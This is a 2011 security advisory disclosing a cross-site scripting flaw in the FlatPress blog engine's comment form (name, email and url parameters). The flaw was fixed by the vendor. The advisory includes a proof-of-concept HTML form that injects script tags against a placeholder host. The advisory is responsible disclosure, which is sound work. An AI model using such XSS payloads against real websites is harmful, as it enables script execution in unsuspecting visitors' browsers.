Total Tests:
This Week:
Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime

Your data will stay confidential Private and Confidential

Cross-site Scripting (XSS) Vulnerability in FlatPress

Advisory ID:HTB23022
Vendor:Edoardo Vacchi
Vulnerable Versions:0.1010.1 and probably prior
Tested Version:0.1010.1
Advisory Publication:June 7, 2011 [without technical details]
Vendor Notification:June 7, 2011
Public Disclosure:June 28, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in FlatPress which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in FlatPress
The vulnerability exists due to input sanitation error in the "name", "email" and "url" parameters in index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://[host]/index.php?x=entry:entry110603-123922;comments:1" method="post">
<input type="hidden" name="name" value='"><script>alert(1);</script>'>
<input type="hidden" name="email" value='"><script>alert(2);</script>'>
<input type="hidden" name="url" value='"><script>alert(3);</script>'>
<input name="send" value="EXPLOIT" type="submit">

How to Detect Cross-Site Scripting Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Upgrade to the most recent version

[1] High-Tech Bridge Advisory HTB23022 - - Cross-site Scripting (XSS) Vulnerability in FlatPress
[2] FlatPress - - FlatPress is a new blog engine.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question